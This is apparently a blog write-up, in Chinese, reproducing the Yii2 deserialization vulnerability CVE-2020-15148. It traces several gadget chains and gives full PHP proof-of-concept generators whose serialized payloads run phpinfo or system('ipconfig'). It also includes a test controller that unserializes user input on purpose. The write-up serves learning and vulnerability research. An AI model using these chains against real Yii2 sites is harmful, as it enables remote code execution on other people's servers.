Yii2反序列化

前言

最近在刷反序列化的题的时候碰到了Yii反序列化的题目,当时没复现,今天来复现一下。主要是想提高一下自己的代码审计的能力。

漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148。

在开始之前,先介绍几个函数的用法

call_user_func_arry()

调用回调函数,并把一个数组参数作为回调函数的参数。

1
2
说明:
mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

返回回调函数的结果。如果出错的话就返回FALSE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
普通使用
function a($b, $c) {
echo $b;
echo PHP_EOL; //换行符
echo $c;
}
call_user_func_array('a', array("K", "ey"));
//输出
//K
//ey

调用类的内部方法:
Class ClassA {

function bc($b, $c) {

$bc = $b + $c;

echo $bc;

}

}

call_user_func_array(array('ClassA','bc'), array("111", "222"));
//输出
//333

支持引用传递:

function a(&$b) {

$b++;

}

$c = 1;

call_user_func_array('a', array(&$c));

echo $c;
//输出 2
?>

call_user_func

call_user_func函数类似于一种特别的调用函数的方法

普通使用

1
2
3
4
5
6
7
8
9
10
<?php
function nowamagic($a,$b)
{
echo $a;
echo $b;
}
call_user_func('nowamagic', "111","222");
call_user_func('nowamagic', "333","444");
//显示 111 222 333 444
?>

调用类的内部方法:

1
2
3
4
5
6
7
8
9
10
<?php
class a {
function b($c)
{
echo $c;
}
}
call_user_func(array("a", "b"),"111");
//显示 111
?>

支持引用传递:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function a($b)
{
$b++;
}
$c = 0;
call_user_func('a', $c);
echo $c;//显示 1
call_user_func_array('a', array($c));
echo $c;//显示 2
?>
另外,call_user_func函数和call_user_func_array函数都支持引用。

<?php
function increment(&$var)
{
$var++;
}
$a = 0;
call_user_func('increment', $a);
echo $a; // 0
call_user_func_array('increment', array(&$a)); // You can use this instead
echo $a; // 1
?>

关于call_user_func_array与call_user_func区别

注意:call_user_func_array 与 call_user_func 这两个函数基本上是类似的,只是在调用上传递参数时存在一些差异。

1
2
3
函数call_user_func_array 传递的第二个参数必须是数组;
函数call_user_func 传递的第二个参数可能是数组,如果是多个参数的话,还是需要以列表的形式列出。
call_user_func ( callback $function [,mixed $parameter [, mixed $...]] )

CVE-2020-15148复现

这个洞的入口在BatchQueryResult类中的__destruct()

image-20211129103626812

我们直接定位到reset()去看一下

image-20211129103703688

逻辑很简单,只要_dataReader不为空,就进入close(),明确一点_dataReade我们是可控的,所以直接进入close()里面看一下。

image-20211129104102345

emmm,这里没有办法去利用啊。但是我们是不是可以去用$this->_dataReader->close();来调用__call()呢?

明确了这一点我们直接去全局搜索__call来看看有没有可以利用的点

image-20211129104618793

\vendor\fzaninotto\faker\src\Faker\Generator.php找到了一个很合适的口子

image-20211129104831528

因为close是无参方法,所以过来之后,$methodclose$attributes为空。然后我们在跟进一下

image-20211129105100724

哦吼,瞧瞧这是什么,call_user_func_arry(),我们在跟进一下

image-20211129110129324

如果存在$this->formatters[$formatter]直接返回,那这里不就已经算是成功一大半了,因为$this->formatters我们是可控的,所以getFormatter($formatter)的返回值我们是可控的,那么整个call_user_func_array($this->getFormatter($formatter), $arguments);我们是不是可以去控制?但是注意我们只能去控制它的回调函数,而不能控制参数,因为$arguments为空。

那么现在我们可以调用yii框架中的任何一个无参的方法了。但是我们主要的想法事rce。所以我们要找,要找一个无参数的方法,在这个方法里面可以实现任意代码执行或者间接实现任意代码执行才行,但是我们不知道这个链子有多长很头疼,最开始我想的是把所有无参函数调出来一个一个筛呗。

1
function \w+\(\)

搜完我傻了

image-20211129112905503

原地放弃,这多坐牢啊。。。

后来才知道大师傅们是直接找的调用了call_user_func函数的无参方法学到了学到了

构造正则:function \w+\(\) ?\n?\{(.*\n)+call_user_func但是我用这个没搜到以为是vscode的问题后面发现在大括号前需要有空格的,然后换行符\n 之后也需要空格的,加上这两块就能够找到了。

正则:function \w*\(\)\n? *\{(.*\n)+ *call_user_func

发现有22个结果,这样就不用坐牢了

image-20211129141900233

rest/IndexAction.php———POC1

最后找到了rest/CreateAction.php以及rest/IndexAction.php这里分先分析IndexAction.php
主要看它的run方法:

image-20211129113305710

爽!这个太直接了。$this->checkAccess和$this->id这两个我们都可以控制,相当于直接函数名和参数都可控了,那这条链子不就成了?

我们在捋一下这条链子:

1
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction -> run()

在详细点就是

1
2
3
4
5
6
7
8
9
10
11
12
namespace yii\db;
class BatchQueryResult -> __destruct()
-->
class BatchQueryResult -> reset()
-->>
namespace Faker;
class Generator -> __call()
-->
class Generator -> getFormatter()
-->>
namespace yii\rest;
class IndexAction -> run()

开始捏POC吧,冲!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
//poc.php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this -> checkAccess = 'phpinfo';
$this -> id = '1';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
public $getFormatter;
protected $formatters;
public function __construct(){
$this -> formatters['close'] = [new IndexAction(),'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>

poc捏好了,我们需要去验证一下,因为这只是个反序列化因利用链,我们需要构造一个反序列化的入口点。

首先在controllers目录下创建一个Controller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;

class TestController extends \yii\web\Controller
{
public function actionSss($data){
return unserialize(base64_decode($data));
}
}
//TestController.php
?>

image-20211129120419597

走,我们去看看能不能利用

1
http://自己设置的路径/index.php?r=test/sss&data=[payload]

image-20211129120549279

可以看到成功了

rest/CreateAction.php——POC2

刚刚我们看的是rest/IndexAction.php现在我们来看rest/CreateAction.php

image-20211129121917847

可以看到,我们用的还是run,而且点也一样,$this->checkAccess和$this->id这两个我们都可以控制。没有套路只有真诚。那直接捏POC吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct()
{
$this -> checkAccess = 'phpinfo';
$this -> id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
public $getFormatter;
protected $formatters;
public function __construct(){
$this -> formatters['close'] = [new CreateAction(),'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>

image-20211129122440112

可以看到这个也成功了。

其他链子A

我们还从BatchQueryResult类中的__destruct()入手,我们知道他会去调用reset()方法。

image-20211129163538392

image-20211129163557958

之前到这里我们是用$this->_dataReader->close();来调用__call()

那么这一次我们可不可以寻找一个确实存在close方法的类,且这个类的close方法我们可以去利用呢?废话少说直接上这个类吧

来看DbSession类里的close()

image-20211129164723778

先看if里的这个getIsActice()

image-20211129164848105

emmm,没有利用的地方,但是这里进if没什么问题,我们再看看composeFields()

image-20211129164941945

爽了,真实满满的真诚啊,$this->writeCallback我们是可控的,那么 call_user_func($this->writeCallback, $this)调用的回调函数我们也是可控的。但是这里的$this我们貌似没法利用,有问题吗?没有问题那我们可以带到IndexAction类里的run()方法里不就行了??

1
如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。

image-20211129165329091

来看一下这条链子:

1
2
3
4
5
6
7
class BatchQueryResult -> destruct()
-->>
class BatchQueryResult -> reset()
-->>
class DbSession -> close()
-->>
class IndexAction -> run()

又到了最爱的捏POC环节了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
//poc.php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this -> checkAccess = 'phpinfo';
$this -> id = '1';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this -> _dataReader = new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this -> writeCallback = [$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>

image-20211129170917678

其他链子B

先扯个皮:

这个是我在搜全局搜close()方法的时候无意间发现的。在yii\basic\vendor\guzzlehttp\psr7\src\FnStream.php

当时我定位到close()方法的时候发现了个__fn_close

image-20211129172335737

又看见了个这个

image-20211129175517830

我靠当时我想着这不是福利也没多看直接上手捏POC去了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this -> checkAccess = 'phpinfo';
$this -> id = '1';
}
}
}

namespace GuzzleHttp\Psr7{
use yii\rest\IndexAction;
class FnStream{
public function __construct(){
$a=new IndexAction();
$this -> _fn_close = [$a,'run'];
}
}
}
namespace{
use GuzzleHttp\Psr7\FnStream;
echo (serialize(new FnStream()));
}
?>

思路和上面一样,直接调到run()然后RCE

image-20211129173820114

确实phpinfo出来了,然后我就想着试下ls,不试不知道。有个__wakeup()。行吧,我也懒得绕了,实战里面又不确保php版本,而且肯定不止这一个思路。

扯皮结束。

然后我就想着那我再去看看其他的__destruct()呗,因为不管有多少个__wakeup()后面的__cal以及之后的链都是完好无损的,所以想找一条新的链子,那就用最快的方法。再找一个__destruct()且可以利用的,也不是盲目的去找,要找类中的一个属性调用了一个方法,而且这个属性可控,那么这就是一条新的链子。那就看一下呗。

image-20211129180012140

第一个就能搞,爽了

image-20211129180553207

在跟一下

image-20211129180620672

看看这个$process->isRunning(),不用跟进了。因为这里的$this->processes是我们可控的,所以$process也同样可控,那我们是不是可以调用isRunning()方法,又可以触发__call,然后继续反序列化攻击。

那么再来看看这条链子

1
2
3
4
5
6
7
8
9
class RunProcess -> _destruct()
-->>
class RunProcess -> stoProcess()
-->>
class Generator -> __call()
-->>
class Generator -> getFormatter()
-->>
class IndexAction -> run()

okok,上POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this -> checkAccess = 'system';
$this -> id = 'ipconfig';
}
}
}

namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this -> formatters['isRunning']=[new CreateAction(),'run'];
}
}
}

namespace Codeception\Extension{
use Faker\Generator;
use PHPUnit\Framework\Constraint\GreaterThan;

class RunProcess{
private $processes = [];
public function __construct(){
$this -> processes[]=new Generator();
}
}
}

namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
?>

image-20211129190259557

其他链子C

还是看__destruct,发现咯。

DiskKeyCache.php中的Swift_KeyCache_DiskKeyCache类也可以利用

image-20211129201850576

继续跟进一下

image-20211129201905462

这个地方调用不成__call啊,坐牢,但是发现有字符拼接,那不是可以去调用__tostring了?

搜一下

image-20211129202044584

坐牢了。。。去看了看文章,有很多,我们来看看这个See.php

image-20211129202217466

好家伙,看一下这里$this->description->render(),$this->description我们是可控的,所以可以直接可以调用__call()。童叟无欺

我们再来看看这条链子

1
2
3
4
5
6
7
class Swift_KeyCache_DiskKeyCache  -> __destruct()
-->
class See -> __toString()
-->
class Generatot -> __call()
-->
class IndexAction -> run()

来上POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ipconfig';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this -> formatters['render']=[new IndexAction(),'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct(){
$this->description = new Generator();
}
}
}
namespace{

use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys=[];
private $path;
public function __construct(){
$this -> path = new See();
$this -> keys = array('ID'=>'Keyond');
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

image-20211129202700033

需要注意一点哈,就是php版本大于7.1

总结

这次学习yii2反序列化链的挖掘,感觉主要还是__destruct、__call、__toString巴拉巴拉这些魔术方法的灵活使用还有就是call_user_func_array与call_user_func的利用。